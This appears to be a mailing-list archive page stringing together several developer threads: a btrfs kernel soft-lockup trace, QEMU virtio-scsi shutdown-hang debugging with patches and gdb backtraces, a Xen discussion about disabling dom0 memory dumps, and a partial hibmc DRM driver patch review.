[ 2528.337577] RBP: ffffc900001e76d8 R08: 0000000000000001 R09: 0000000000000001
[ 2528.337577] R10: 0000000000000000 R11: 0000000000000000 R12: 00000000ffffffa5
[ 2528.337578] R13: ffff88013ba7e300 R14: 0000000000000000 R15: 0000000000000100
[ 2528.337579] FS: 00007fcc22b1e700(0000) GS:ffff88013fc80000(0000) knlGS:0000000000000000
[ 2528.337580] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2528.337581] CR2: 00007fcc296e9000 CR3: 000000012e2e0000 CR4: 00000000000006e0
[ 2528.337584] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 2528.337585] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 2528.337585] Stack:
[ 2528.337588] 0000000000000046 ffff88013ba7e300 ffff88013b800500 000000ff001e76c0
[ 2528.337590] ffff88013b800500 ffff88013ba7e300 0000000040002800 ffffffff81618622
[ 2528.337593] ffff88013b800500 ffffc900001e7708 ffffffff811dd686 0000000000000286
[ 2528.337594] Call Trace:
[ 2528.337598] [<ffffffff81618622>] ? cache_block_group+0x62/0x3c0
[ 2528.337600] [<ffffffff811dd686>] cache_alloc_debugcheck_after.isra.71+0x146/0x1c0
[ 2528.337602] [<ffffffff81618622>] ? cache_block_group+0x62/0x3c0
[ 2528.337603] [<ffffffff811de6be>] kmem_cache_alloc_trace+0x8e/0x160
[ 2528.337605] [<ffffffff81618622>] cache_block_group+0x62/0x3c0
[ 2528.337607] [<ffffffff81616571>] ? get_caching_control+0x31/0x40
[ 2528.337609] [<ffffffff81107770>] ? wake_up_bit+0x30/0x30
[ 2528.337610] [<ffffffff8162722c>] find_free_extent+0x79c/0xef0
[ 2528.337612] [<ffffffff816279fe>] btrfs_reserve_extent+0x7e/0x1f0
[ 2528.337614] [<ffffffff8164c860>] btrfs_get_blocks_direct+0x360/0x740
[ 2528.337616] [<ffffffff8121eaf0>] __blockdev_direct_IO+0xbc0/0x4410
[ 2528.337619] [<ffffffff81df2fd9>] ? _raw_spin_unlock+0x9/0x10
[ 2528.337620] [<ffffffff81df2fd9>] ? _raw_spin_unlock+0x9/0x10
[ 2528.337622] [<ffffffff81625a10>] ? reserve_metadata_bytes+0x180/0x950
[ 2528.337624] [<ffffffff8164c500>] ? btrfs_page_exists_in_range+0x110/0x110
[ 2528.337625] [<ffffffff8163dc20>] ? btrfs_endio_direct_write_update_ordered+0xc0/0xc0
[ 2528.337627] [<ffffffff8163fda2>] btrfs_direct_IO+0x1c2/0x350
[ 2528.337628] [<ffffffff8163dc20>] ? btrfs_endio_direct_write_update_ordered+0xc0/0xc0
[ 2528.337630] [<ffffffff81192164>] generic_file_direct_write+0xa4/0x160
[ 2528.337632] [<ffffffff816533b5>] btrfs_file_write_iter+0x175/0x5f0
[ 2528.337634] [<ffffffff8122c572>] aio_write+0xb2/0x130
[ 2528.337636] [<ffffffff8122dae4>] ? do_io_submit+0x224/0x530
[ 2528.337638] [<ffffffff811dd6a4>] ? cache_alloc_debugcheck_after.isra.71+0x164/0x1c0
[ 2528.337639] [<ffffffff8122dae4>] ? do_io_submit+0x224/0x530
[ 2528.337641] [<ffffffff811de61f>] ? kmem_cache_alloc+0x14f/0x160
[ 2528.337642] [<ffffffff8122dcbd>] do_io_submit+0x3fd/0x530
[ 2528.337644] [<ffffffff8122ddfb>] SyS_io_submit+0xb/0x10
[ 2528.337646] [<ffffffff81df3337>] entry_SYSCALL_64_fastpath+0x1a/0xa9
[ 2528.337668] Code: 7e 75 41 8d 47 ff 48 89 75 c0 45 31 f6 31 db 48 89 7d c8 41 bc a5 ff ff ff 89 45 d4 3b 5d d4 b8 6b 00 00 00 48 63 d3 41 0f 44 c4 <41> 38 44 15 00 74 38 45 85 f6 0f 84 41 01 00 00 8d 73 0f 85 db
[ 2528.344233] NMI watchdog: BUG: soft lockup - CPU#2 stuck for 22s! [aio-stress:17962]
[ 2528.344234] Modules linked in:
[ 2528.344236] CPU: 2 PID: 17962 Comm: aio-stress Tainted: G L 4.9.0-rc5 #828
[ 2528.344237] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014
[ 2528.344238] task: ffff88012aec0380 task.stack: ffffc900001f4000
[ 2528.344243] RIP: 0010:[<ffffffff8110e681>] [<ffffffff8110e681>] do_raw_spin_lock+0x1/0x120
[ 2528.344244] RSP: 0018:ffffc900001f77c0 EFLAGS: 00000246
[ 2528.344245] RAX: 0000000000000000 RBX: ffff880138740c00 RCX: 0000000000000000
[ 2528.344245] RDX: 000000000000000e RSI: 000000000000006b RDI: ffff88012e5979c0
[ 2528.344246] RBP: ffffc900001f77d0 R08: 000000000430a390 R09: ffff88013277e700
[ 2528.344247] R10: 0000000000000000 R11: 0000000000000000 R12: ffff880131c84000
[ 2528.344247] R13: ffffc900001f79b0 R14: 0000000000000000 R15: ffff8801387e6000
[ 2528.344249] FS: 00007fcc21b1c700(0000) GS:ffff88013fd00000(0000) knlGS:0000000000000000
[ 2528.344250] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2528.344250] CR2: 00007fcc296d7000 CR3: 000000012e2e0000 CR4: 00000000000006e0
[ 2528.344254] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 2528.344254] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 2528.344255] Stack:
[ 2528.344257] ffffc900001f77d0 ffffffff81df2f59 ffffc900001f78a8 ffffffff81626d6b
[ 2528.344259] 0000000000010000 ffff8801387e6000 01ff880138ee0900 0000000000010000
[ 2528.344261] ffff880131c84000 0000000000000018 ffff8801387e60f0 ffffc900001f79b0
[ 2528.344261] Call Trace:
[ 2528.344265] [<ffffffff81df2f59>] ? _raw_spin_lock+0x9/0x10
[ 2528.344267] [<ffffffff81626d6b>] find_free_extent+0x2db/0xef0
[ 2528.344269] [<ffffffff816279fe>] btrfs_reserve_extent+0x7e/0x1f0
[ 2528.344271] [<ffffffff8164c860>] btrfs_get_blocks_direct+0x360/0x740
[ 2528.344273] [<ffffffff8121eaf0>] __blockdev_direct_IO+0xbc0/0x4410
[ 2528.344275] [<ffffffff81df2fd9>] ? _raw_spin_unlock+0x9/0x10
[ 2528.344276] [<ffffffff81df2fd9>] ? _raw_spin_unlock+0x9/0x10
[ 2528.344278] [<ffffffff81625a10>] ? reserve_metadata_bytes+0x180/0x950
[ 2528.344279] [<ffffffff8164c500>] ? btrfs_page_exists_in_range+0x110/0x110
[ 2528.344281] [<ffffffff8163dc20>] ? btrfs_endio_direct_write_update_ordered+0xc0/0xc0
[ 2528.344282] [<ffffffff8163fda2>] btrfs_direct_IO+0x1c2/0x350
[ 2528.344284] [<ffffffff8163dc20>] ? btrfs_endio_direct_write_update_ordered+0xc0/0xc0
[ 2528.344286] [<ffffffff81192164>] generic_file_direct_write+0xa4/0x160
[ 2528.344287] [<ffffffff816533b5>] btrfs_file_write_iter+0x175/0x5f0
[ 2528.344289] [<ffffffff8122c572>] aio_write+0xb2/0x130
[ 2528.344291] [<ffffffff8122dae4>] ? do_io_submit+0x224/0x530
[ 2528.344293] [<ffffffff811dd6a4>] ? cache_alloc_debugcheck_after.isra.71+0x164/0x1c0
[ 2528.344295] [<ffffffff8122dae4>] ? do_io_submit+0x224/0x530
[ 2528.344296] [<ffffffff811de61f>] ? kmem_cache_alloc+0x14f/0x160
[ 2528.344298] [<ffffffff8122dcbd>] do_io_submit+0x3fd/0x530
[ 2528.344300] [<ffffffff8122ddfb>] SyS_io_submit+0xb/0x10
[ 2528.344301] [<ffffffff81df3337>] entry_SYSCALL_64_fastpath+0x1a/0xa9
^ permalink raw reply
* Re: [Qemu-devel] [PATCH 07/13] virtio-scsi: always use dataplane path if ioeventfd is active
From: Alex Williamson @ 2016-11-14 17:09 UTC (permalink / raw)
To: Paolo Bonzini; +Cc: cornelia.huck, famz, qemu-devel, stefanha, mst
In-Reply-To: <4e7ae711-d7c0-35d3-4823-5856922c98b4@redhat.com>
[-- Attachment #1: Type: text/plain, Size: 14103 bytes --]
On Mon, 14 Nov 2016 14:41:42 +0100
Paolo Bonzini <pbonzini@redhat.com> wrote:
> On 11/11/2016 22:03, Alex Williamson wrote:
> > On Fri, 11 Nov 2016 21:24:33 +0100
> > Paolo Bonzini <pbonzini@redhat.com> wrote:
> >> If you can post a backtrace of all threads at the time of the hang, from
> >> origin/master (so without vhost, and not at ad07cd6) that could help.
> >
> > Yes, it occurs with all of the vfio devices removed using VNC/Cirrus.
>
> I cannot reproduce it anyway. :(
>
> As you said on IRC it's a pretty standard "event loop doing nothing"
> backtrace, so it seems that an eventfd write was lost.
>
> Since I was lucky with the vhost patch, perhaps this can help:
>
> diff --git a/hw/scsi/virtio-scsi-dataplane.c b/hw/scsi/virtio-scsi-dataplane.c
> index f2ea29d..22d6cd5 100644
> --- a/hw/scsi/virtio-scsi-dataplane.c
> +++ b/hw/scsi/virtio-scsi-dataplane.c
> @@ -202,13 +202,15 @@ void virtio_scsi_dataplane_stop(VirtIODevice *vdev)
>
> aio_context_acquire(s->ctx);
> virtio_scsi_clear_aio(s);
> - aio_context_release(s->ctx);
> -
> - blk_drain_all(); /* ensure there are no in-flight requests */
>
> for (i = 0; i < vs->conf.num_queues + 2; i++) {
> + VirtQueue *vq = virtio_get_queue(vdev, i);
> virtio_bus_set_host_notifier(VIRTIO_BUS(qbus), i, false);
> + virtio_queue_host_notifier_aio_read(virtio_queue_get_guest_notifier(vq));
> }
> + aio_context_release(s->ctx);
> +
> + blk_drain_all(); /* ensure there are no in-flight requests */
>
> /* Clean up guest notifier (irq) */
> k->set_guest_notifiers(qbus->parent, vs->conf.num_queues + 2, false);
> diff --git a/hw/virtio/virtio.c b/hw/virtio/virtio.c
> index 89b0b80..9c894d7 100644
> --- a/hw/virtio/virtio.c
> +++ b/hw/virtio/virtio.c
> @@ -2018,7 +2018,7 @@ EventNotifier *virtio_queue_get_guest_notifier(VirtQueue *vq)
> return &vq->guest_notifier;
> }
>
> -static void virtio_queue_host_notifier_aio_read(EventNotifier *n)
> +void virtio_queue_host_notifier_aio_read(EventNotifier *n)
> {
> VirtQueue *vq = container_of(n, VirtQueue, host_notifier);
> if (event_notifier_test_and_clear(n)) {
> diff --git a/include/hw/virtio/virtio.h b/include/hw/virtio/virtio.h
> index 35ede30..d3dfc69 100644
> --- a/include/hw/virtio/virtio.h
> +++ b/include/hw/virtio/virtio.h
> @@ -274,6 +274,7 @@ int virtio_device_grab_ioeventfd(VirtIODevice *vdev);
> void virtio_device_release_ioeventfd(VirtIODevice *vdev);
> bool virtio_device_ioeventfd_enabled(VirtIODevice *vdev);
> EventNotifier *virtio_queue_get_host_notifier(VirtQueue *vq);
> +void virtio_queue_host_notifier_aio_read(EventNotifier *n);
> void virtio_queue_host_notifier_read(EventNotifier *n);
> void virtio_queue_aio_set_host_notifier_handler(VirtQueue *vq, AioContext *ctx,
> void (*fn)(VirtIODevice *,
>
Hmm, fixed yet not fixed. I get a nice shutdown and it even eliminates
a cpu spike shown in virt-manager at the end of shutdown that was
typical previously, but then I noticed dmesg showing me segfaults, so I
hooked up gdb and:
Thread 3 "CPU 0/KVM" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fb4f73ba700 (LWP 2713)]
0x00005593dacc2800 in virtio_queue_notify_aio_vq (vq=0x5593dd4a7378) at /net/gimli/home/alwillia/Work/qemu.git/hw/virtio/virtio.c:1242
1242 trace_virtio_queue_notify(vdev, vq - vdev->vq, vq);
(gdb) bt
#0 0x00005593dacc2800 in virtio_queue_notify_aio_vq (vq=0x5593dd4a7378) at /net/gimli/home/alwillia/Work/qemu.git/hw/virtio/virtio.c:1242
#1 0x00005593dacc4a4e in virtio_queue_host_notifier_aio_read (n=0x5593dd4a73d8) at /net/gimli/home/alwillia/Work/qemu.git/hw/virtio/virtio.c:2025
#2 0x00005593daca4997 in virtio_scsi_dataplane_stop (vdev=0x5593dc0cc0f0) at /net/gimli/home/alwillia/Work/qemu.git/hw/scsi/virtio-scsi-dataplane.c:209
#3 0x00005593daf6a4b7 in virtio_bus_stop_ioeventfd (bus=0x5593dc0cc078) at hw/virtio/virtio-bus.c:219
#4 0x00005593daf64279 in virtio_pci_stop_ioeventfd (proxy=0x5593dc0c3ce0) at hw/virtio/virtio-pci.c:344
#5 0x00005593daf643d5 in virtio_ioport_write (opaque=0x5593dc0c3ce0, addr=18, val=0) at hw/virtio/virtio-pci.c:380
#6 0x00005593daf6484d in virtio_pci_config_write (opaque=0x5593dc0c3ce0, addr=18, val=0, size=1) at hw/virtio/virtio-pci.c:508
#7 0x00005593dac592fd in memory_region_write_accessor (mr=0x5593dc0c45d0, addr=18, value=0x7fb4f73b74b8, size=1, shift=0, mask=255, attrs=...)
at /net/gimli/home/alwillia/Work/qemu.git/memory.c:526
#8 0x00005593dac59515 in access_with_adjusted_size (addr=18, value=0x7fb4f73b74b8, size=1, access_size_min=1, access_size_max=4, access=
0x5593dac59213 <memory_region_write_accessor>, mr=0x5593dc0c45d0, attrs=...) at /net/gimli/home/alwillia/Work/qemu.git/memory.c:592
#9 0x00005593dac5bc55 in memory_region_dispatch_write (mr=0x5593dc0c45d0, addr=18, data=0, size=1, attrs=...) at /net/gimli/home/alwillia/Work/qemu.git/memory.c:1323
#10 0x00005593dac07583 in address_space_write_continue (as=0x5593db727de0 <address_space_io>, addr=49298, attrs=..., buf=0x7fb520354000 "", len=1, addr1=18, l=1, mr=0x5593dc0c45d0)
at /net/gimli/home/alwillia/Work/qemu.git/exec.c:2621
#11 0x00005593dac076cb in address_space_write (as=0x5593db727de0 <address_space_io>, addr=49298, attrs=..., buf=0x7fb520354000 "", len=1)
at /net/gimli/home/alwillia/Work/qemu.git/exec.c:2666
#12 0x00005593dac07a57 in address_space_rw (as=0x5593db727de0 <address_space_io>, addr=49298, attrs=..., buf=0x7fb520354000 "", len=1, is_write=true)
at /net/gimli/home/alwillia/Work/qemu.git/exec.c:2768
#13 0x00005593dac558d7 in kvm_handle_io (port=49298, attrs=..., data=0x7fb520354000, direction=1, size=1, count=1) at /net/gimli/home/alwillia/Work/qemu.git/kvm-all.c:1800
#14 0x00005593dac55ddd in kvm_cpu_exec (cpu=0x5593dc0a6490) at /net/gimli/home/alwillia/Work/qemu.git/kvm-all.c:1958
#15 0x00005593dac3cc58 in qemu_kvm_cpu_thread_fn (arg=0x5593dc0a6490) at /net/gimli/home/alwillia/Work/qemu.git/cpus.c:998
#16 0x00007fb5054715ca in start_thread (arg=0x7fb4f73ba700) at pthread_create.c:333
#17 0x00007fb5051ab0ed in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
> And if it doesn't work here is some printf debugging. It's pretty verbose but
> the interesting part starts pretty much where you issue the virsh shutdown or
> system_powerdown command:
>
> diff --git a/hw/scsi/virtio-scsi-dataplane.c b/hw/scsi/virtio-scsi-dataplane.c
> index f2ea29d..ec0f750 100644
> --- a/hw/scsi/virtio-scsi-dataplane.c
> +++ b/hw/scsi/virtio-scsi-dataplane.c
> @@ -108,11 +108,13 @@ static void virtio_scsi_clear_aio(VirtIOSCSI *s)
> VirtIOSCSICommon *vs = VIRTIO_SCSI_COMMON(s);
> int i;
>
> + printf("before clear\n");
> virtio_queue_aio_set_host_notifier_handler(vs->ctrl_vq, s->ctx, NULL);
> virtio_queue_aio_set_host_notifier_handler(vs->event_vq, s->ctx, NULL);
> for (i = 0; i < vs->conf.num_queues; i++) {
> virtio_queue_aio_set_host_notifier_handler(vs->cmd_vqs[i], s->ctx, NULL);
> }
> + printf("after clear\n");
> }
>
> /* Context: QEMU global mutex held */
> @@ -202,15 +204,20 @@ void virtio_scsi_dataplane_stop(VirtIODevice *vdev)
>
> aio_context_acquire(s->ctx);
> virtio_scsi_clear_aio(s);
> - aio_context_release(s->ctx);
> -
> - blk_drain_all(); /* ensure there are no in-flight requests */
>
> for (i = 0; i < vs->conf.num_queues + 2; i++) {
> + VirtQueue *vq = virtio_get_queue(vdev, i);
> virtio_bus_set_host_notifier(VIRTIO_BUS(qbus), i, false);
> + virtio_queue_host_notifier_aio_read(virtio_queue_get_guest_notifier(vq));
> }
> + aio_context_release(s->ctx);
> +
> + printf("before drain\n");
> + blk_drain_all(); /* ensure there are no in-flight requests */
> + printf("after drain\n");
>
> /* Clean up guest notifier (irq) */
> + printf("end of virtio_scsi_dataplane_stop\n");
> k->set_guest_notifiers(qbus->parent, vs->conf.num_queues + 2, false);
> s->dataplane_stopping = false;
> s->dataplane_started = false;
> diff --git a/hw/scsi/virtio-scsi.c b/hw/scsi/virtio-scsi.c
> index 3e5ae6a..e8b83d4 100644
> --- a/hw/scsi/virtio-scsi.c
> +++ b/hw/scsi/virtio-scsi.c
> @@ -75,6 +75,7 @@ static void virtio_scsi_complete_req(VirtIOSCSIReq *req)
> }
>
> if (req->sreq) {
> + printf("finish %x\n", req->sreq->tag);
> req->sreq->hba_private = NULL;
> scsi_req_unref(req->sreq);
> }
> @@ -549,6 +549,7 @@ static int virtio_scsi_handle_cmd_req_prepare(VirtIOSCSI *s, VirtIOSCSIReq *req)
> return -ENOENT;
> }
> virtio_scsi_ctx_check(s, d);
> + printf("prepare %lx %x\n", req->req.cmd.tag, req->req.cmd.cdb[0]);
> req->sreq = scsi_req_new(d, req->req.cmd.tag,
> virtio_scsi_get_lun(req->req.cmd.lun),
> req->req.cmd.cdb, req);
> diff --git a/hw/virtio/virtio-pci.c b/hw/virtio/virtio-pci.c
> index 62001b4..c75dec3 100644
> --- a/hw/virtio/virtio-pci.c
> +++ b/hw/virtio/virtio-pci.c
> @@ -336,11 +336,13 @@ static int virtio_pci_ioeventfd_assign(DeviceState *d, EventNotifier *notifier,
>
> static void virtio_pci_start_ioeventfd(VirtIOPCIProxy *proxy)
> {
> + printf("start ioeventfd %s\n", object_class_get_name(object_get_class(OBJECT(proxy))));
> virtio_bus_start_ioeventfd(&proxy->bus);
> }
>
> static void virtio_pci_stop_ioeventfd(VirtIOPCIProxy *proxy)
> {
> + printf("stop ioeventfd %s\n", object_class_get_name(object_get_class(OBJECT(proxy))));
> virtio_bus_stop_ioeventfd(&proxy->bus);
> }
>
> @@ -376,6 +378,7 @@ static void virtio_ioport_write(void *opaque, uint32_t addr, uint32_t val)
> }
> break;
> case VIRTIO_PCI_STATUS:
> + printf("set status %s %x\n", object_class_get_name(object_get_class(OBJECT(proxy))), val & 0xFF);
> if (!(val & VIRTIO_CONFIG_S_DRIVER_OK)) {
> virtio_pci_stop_ioeventfd(proxy);
> }
> @@ -1274,6 +1277,7 @@ static void virtio_pci_common_write(void *opaque, hwaddr addr,
> vdev->config_vector = val;
> break;
> case VIRTIO_PCI_COMMON_STATUS:
> + printf("set status %s %x\n", object_class_get_name(object_get_class(OBJECT(proxy))), (uint8_t)val);
> if (!(val & VIRTIO_CONFIG_S_DRIVER_OK)) {
> virtio_pci_stop_ioeventfd(proxy);
> }
>
This required making virtio_queue_host_notifier_aio_read() non-static
and adding the forward declaration, stolen from the first patch. The
attached log starts at the point where there guest is idle and I issue
a virsh shutdown. This also results in a segfault nearly identical to
above:
Thread 4 "CPU 1/KVM" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f7194901700 (LWP 3804)]
0x000056358070788a in virtio_queue_notify_aio_vq (vq=0x56358310d378) at /net/gimli/home/alwillia/Work/qemu.git/hw/virtio/virtio.c:1242
1242 trace_virtio_queue_notify(vdev, vq - vdev->vq, vq);
(gdb) bt
#0 0x000056358070788a in virtio_queue_notify_aio_vq (vq=0x56358310d378) at /net/gimli/home/alwillia/Work/qemu.git/hw/virtio/virtio.c:1242
#1 0x0000563580709ad8 in virtio_queue_host_notifier_aio_read (n=0x56358310d3d8) at /net/gimli/home/alwillia/Work/qemu.git/hw/virtio/virtio.c:2025
#2 0x00005635806e99fd in virtio_scsi_dataplane_stop (vdev=0x563581d320f0) at /net/gimli/home/alwillia/Work/qemu.git/hw/scsi/virtio-scsi-dataplane.c:211
#3 0x00005635809af5fe in virtio_bus_stop_ioeventfd (bus=0x563581d32078) at hw/virtio/virtio-bus.c:219
#4 0x00005635809a9353 in virtio_pci_stop_ioeventfd (proxy=0x563581d29ce0) at hw/virtio/virtio-pci.c:346
#5 0x00005635809a94e0 in virtio_ioport_write (opaque=0x563581d29ce0, addr=18, val=0) at hw/virtio/virtio-pci.c:383
#6 0x00005635809a995d in virtio_pci_config_write (opaque=0x563581d29ce0, addr=18, val=0, size=1) at hw/virtio/virtio-pci.c:511
#7 0x000056358069e2fd in memory_region_write_accessor (mr=0x563581d2a5d0, addr=18, value=0x7f71948fe4b8, size=1, shift=0, mask=255, attrs=...)
at /net/gimli/home/alwillia/Work/qemu.git/memory.c:526
#8 0x000056358069e515 in access_with_adjusted_size (addr=18, value=0x7f71948fe4b8, size=1, access_size_min=1, access_size_max=4, access=
0x56358069e213 <memory_region_write_accessor>, mr=0x563581d2a5d0, attrs=...) at /net/gimli/home/alwillia/Work/qemu.git/memory.c:592
#9 0x00005635806a0c55 in memory_region_dispatch_write (mr=0x563581d2a5d0, addr=18, data=0, size=1, attrs=...) at /net/gimli/home/alwillia/Work/qemu.git/memory.c:1323
#10 0x000056358064c583 in address_space_write_continue (as=0x56358116cde0 <address_space_io>, addr=49298, attrs=..., buf=0x7f71be099000 "", len=1, addr1=18, l=1, mr=0x563581d2a5d0)
at /net/gimli/home/alwillia/Work/qemu.git/exec.c:2621
#11 0x000056358064c6cb in address_space_write (as=0x56358116cde0 <address_space_io>, addr=49298, attrs=..., buf=0x7f71be099000 "", len=1)
at /net/gimli/home/alwillia/Work/qemu.git/exec.c:2666
#12 0x000056358064ca57 in address_space_rw (as=0x56358116cde0 <address_space_io>, addr=49298, attrs=..., buf=0x7f71be099000 "", len=1, is_write=true)
at /net/gimli/home/alwillia/Work/qemu.git/exec.c:2768
#13 0x000056358069a8d7 in kvm_handle_io (port=49298, attrs=..., data=0x7f71be099000, direction=1, size=1, count=1) at /net/gimli/home/alwillia/Work/qemu.git/kvm-all.c:1800
#14 0x000056358069addd in kvm_cpu_exec (cpu=0x563581d6d030) at /net/gimli/home/alwillia/Work/qemu.git/kvm-all.c:1958
#15 0x0000563580681c58 in qemu_kvm_cpu_thread_fn (arg=0x563581d6d030) at /net/gimli/home/alwillia/Work/qemu.git/cpus.c:998
#16 0x00007f71a31b95ca in start_thread (arg=0x7f7194901700) at pthread_create.c:333
#17 0x00007f71a2ef30ed in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
If you care to match line numbers, my tree is based on
6bbcb76301a72dc80c8d29af13d40bb9a759c9c6, it includes you patch:
virtio: introduce grab/release_ioeventfd to fix vhost
Plus your first fix removing the assert and return 0 case from
virtio_bus_set_host_notifier(). Thanks,
Alex
[-- Attachment #2: shutdown.log.bz2 --]
[-- Type: application/x-bzip, Size: 8158 bytes --]
^ permalink raw reply
* Re: [PATCH v10 3/3] drm/fence: add out-fences support
From: Robert Foss @ 2016-11-14 17:09 UTC (permalink / raw)
To: Gustavo Padovan, dri-devel
Cc: marcheu, Daniel Stone, seanpaul, Daniel Vetter, linux-kernel,
laurent.pinchart, Gustavo Padovan, John Harrison, m.chehab
In-Reply-To: <1479088796-3809-4-git-send-email-gustavo@padovan.org>
Tested on db410c running android + drm_hwcomposer, confirmed to be
working.
Tested-by: Robert Foss <robert.foss@collabora.com>
^ permalink raw reply
* Re: Possible to prevent dom0 accessing guest memory?
From: George Dunlap @ 2016-11-14 17:09 UTC (permalink / raw)
To: Andy Smith; +Cc: xen-devel@lists.xen.org
In-Reply-To: <20161114152932.GL1804@bitfolk.com>
On Mon, Nov 14, 2016 at 3:29 PM, Andy Smith <andy@strugglers.net> wrote:
> Hi Andrew,
>
> On Mon, Nov 14, 2016 at 03:06:12PM +0000, Andrew Cooper wrote:
>> You have misunderstood a step.
>>
>> Dom0 can map all of guest memory. This is how `xl dump-core` is
>> implemented, as well as how Qemu emulates devices for the guest.
>
> Ah, okay, thanks. That is what I feared.
>
> Due to details of the legal jurisdiction in which I operate, it
> would actually be useful to me to disable xl dump-core and be able
> to truthfully state that I do not know how to obtain a dump of a
> guest's memory. As it stands I do know that xl dump-core exists and
> I can be compelled to run it. I do not personally know how to write
> a program to do what xl dump-core does and would have no interest in
> finding out.
>
> But I appreciate that the more general concern would be an attacker
> who gains root access, and they could just run such a program, so I
> guess Xen developers would see little point in offering a way to
> disable dump-core.
I don't think we've had someone before ask us to remove functionality
so that they can't be ordered to run it; but if that would be of
service to some of our users, there's no inherent reason we couldn't
take a look to see how difficult it would be to implement.
So is the basic situation that you can be asked to run commands, but
that you can't be asked to implement new functionality, or re-compile
and reboot your host?
Removing the dump-core functionality from xl should be pretty
straightforward. With very little effort I could send you a patch you
could apply locally that would simply delete the code which implements
that command in xl. It would also be simple enough to make a config
option that would disable building that command in xl.
Would either of those suffice?
There is probably a way to configure Xen to make it possible to build
domains while making a full dump-core difficult to implement even by a
motivated attacker; but that would be quite a bit more work (and very
bespoke to your own particular situation).
-George
_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xen.org
https://lists.xen.org/xen-devel
^ permalink raw reply
* Re: [PATCH v6 4/9] drm/hisilicon/hibmc: Add plane for DE
From: Sean Paul @ 2016-11-14 17:08 UTC (permalink / raw)
To: Rongrong Zou
Cc: Mark Rutland, lijianhua, Will Deacon, Tomeu Vizoso,
Jonathan Corbet, catalin.marinas, Emil Velikov, linuxarm,
dri-devel, james.xiong, shenhui, Rongrong Zou, Linux ARM Kernel
In-Reply-To: <5826A498.4000002@huawei.com>
On Sat, Nov 12, 2016 at 12:11 AM, Rongrong Zou <zourongrong@huawei.com> wrote:
> 在 2016/11/11 5:53, Sean Paul 写道:
>>
>> On Fri, Oct 28, 2016 at 3:27 AM, Rongrong Zou <zourongrong@gmail.com>
>> wrote:
>>>
>>> Add plane funcs and helper funcs for DE.
>>>
>>> Signed-off-by: Rongrong Zou <zourongrong@gmail.com>
>>> ---
>>> drivers/gpu/drm/hisilicon/hibmc/Kconfig | 1 +
>>> drivers/gpu/drm/hisilicon/hibmc/Makefile | 2 +-
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c | 170
>>> ++++++++++++++++++++++++
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h | 29 ++++
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c | 51 ++++++-
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h | 5 +
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c | 6 +
>>> 7 files changed, 261 insertions(+), 3 deletions(-)
>>> create mode 100644 drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c
>>> create mode 100644 drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h
>>>
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/Kconfig
>>> b/drivers/gpu/drm/hisilicon/hibmc/Kconfig
>>> index bcb8c18..380622a 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/Kconfig
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/Kconfig
>>> @@ -1,6 +1,7 @@
>>> config DRM_HISI_HIBMC
>>> tristate "DRM Support for Hisilicon Hibmc"
>>> depends on DRM && PCI
>>> + select DRM_KMS_HELPER
>>> select DRM_TTM
>>>
>>> help
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/Makefile
>>> b/drivers/gpu/drm/hisilicon/hibmc/Makefile
>>> index 810a37e..72e107e 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/Makefile
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/Makefile
>>> @@ -1,5 +1,5 @@
>>> ccflags-y := -Iinclude/drm
>>> -hibmc-drm-y := hibmc_drm_drv.o hibmc_drm_fbdev.o hibmc_drm_power.o
>>> hibmc_ttm.o
>>> +hibmc-drm-y := hibmc_drm_drv.o hibmc_drm_de.o hibmc_drm_fbdev.o
>>> hibmc_drm_power.o hibmc_ttm.o
>>>
>>> obj-$(CONFIG_DRM_HISI_HIBMC) +=hibmc-drm.o
>>> #obj-y += hibmc-drm.o
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c
>>> new file mode 100644
>>> index 0000000..9c1a68c
>>> --- /dev/null
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c
>>> @@ -0,0 +1,170 @@
>>> +/* Hisilicon Hibmc SoC drm driver
>>> + *
>>> + * Based on the bochs drm driver.
>>> + *
>>> + * Copyright (c) 2016 Huawei Limited.
>>> + *
>>> + * Author:
>>> + * Rongrong Zou <zourongrong@huawei.com>
>>> + * Rongrong Zou <zourongrong@gmail.com>
>>> + * Jianhua Li <lijianhua@huawei.com>
>>> + *
>>> + * This program is free software; you can redistribute it and/or modify
>>> + * it under the terms of the GNU General Public License as published by
>>> + * the Free Software Foundation; either version 2 of the License, or
>>> + * (at your option) any later version.
>>> + *
>>> + */
>>> +
>>> +#include <drm/drm_atomic.h>
>>> +#include <drm/drm_atomic_helper.h>
>>> +#include <drm/drm_crtc_helper.h>
>>> +#include <drm/drm_plane_helper.h>
>>> +
>>> +#include "hibmc_drm_drv.h"
>>> +#include "hibmc_drm_regs.h"
>>> +#include "hibmc_drm_power.h"
>>> +
>>> +/*
>>> ---------------------------------------------------------------------- */
>>
>>
>> Remove
>
>
> ok, will do, thanks.
>
>>
>>> +
>>> +static int hibmc_plane_atomic_check(struct drm_plane *plane,
>>> + struct drm_plane_state *state)
>>> +{
